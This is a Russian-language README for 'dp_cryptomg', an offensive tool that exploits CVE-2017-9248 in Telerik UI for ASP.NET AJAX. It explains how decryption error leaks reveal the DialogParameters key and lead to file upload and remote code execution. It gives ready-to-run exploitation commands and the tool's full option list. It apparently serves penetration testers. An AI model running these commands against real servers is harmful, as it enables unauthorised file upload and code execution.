
Еще один инструмент для эксплуатации CVE-2017-9248, криптографической уязвимости в обработчике диалогов Telerik UI для ASP.NET AJAX.
Ещё один инструмент для эксплуатации CVE-2017-9248 — криптографической уязвимости в обработчике диалогов Telerik UI for ASP.NET AJAX. Эксплуатация приводит к доступу к утилите управления файлами, способной загружать произвольные файлы, что обычно приводит к удалённому выполнению кода.
Уязвимость вызвана утечкой информации через сообщения об ошибках при расшифровке «DialogParameters» Telerik — серии зашифрованных значений конфигурации. Эти значения предоставляются пользователю, а затем отправляются обратно на сервер как пользовательский ввод. Утечка информации о процессе расшифровки позволяет систематически найти Telerik.Web.UI.DialogParametersEncryptionKey. Подробное описание уязвимости и принципов работы инструмента — в нашем блоге: https://blog.blacklanternsecurity.com/p/yet-another-telerik-ui-revisit.

Оригинальный инструмент для эксплуатации CVE-2017-9248 dp_crypto был неоценим при создании этого. Не говоря уже о том, что он принёс нам множество RCE за прошедшие годы :)
Исследование SR Labs в их статье Achieving Telerik Remote Code Execution 100 Time Faster легло в основу метода, используемого в этом инструменте, и вдохновило нас на его создание.
Пример (базовое использование):
python3 dp_cryptomg.py http://example.com/Telerik.Web.UI.DialogHandler.aspx
Пример (установка нестандартной длины ключа и использование прокси):
python3 dp_cryptomg.py -l 40 -p http://127.0.0.1:8080 http://example.com/Telerik.Web.UI.DialogHandler.aspx
использование: dp_cryptomg.py [-h] [-d] [-c COOKIE] [-k KNOWN_KEY] [-v VERSION] [-l LENGTH] [-p PROXY] [-s] [-S] url
positional arguments:
url URL цели
optional arguments:
-h, --help показать это справочное сообщение и выйти
-d, --debug включить режим отладки
-c COOKIE, --cookie COOKIE
добавить необязательный заголовок cookie к каждому запросу
-k KNOWN_KEY, --known-key KNOWN_KEY
известный частичный или полный ключ в шестнадцатеричном формате
-v VERSION, --version VERSION
указать версию Telerik, если известна
-l LENGTH, --length LENGTH
длина ключа, если известна
-p PROXY, --proxy PROXY
необязательно установить HTTP-прокси
-s, --simple отключить навороченный интерфейс
-S, --super-simple отключить навороченный интерфейс и показывать минимум вывода
-q, --quick-check только выявить вероятную уязвимость и пропустить эксплуатацию (включает простой режим)
Telerik.Web.UI.DialogHandler.aspx, так и из Telerik.Web.UI.SpellCheckHandler.axd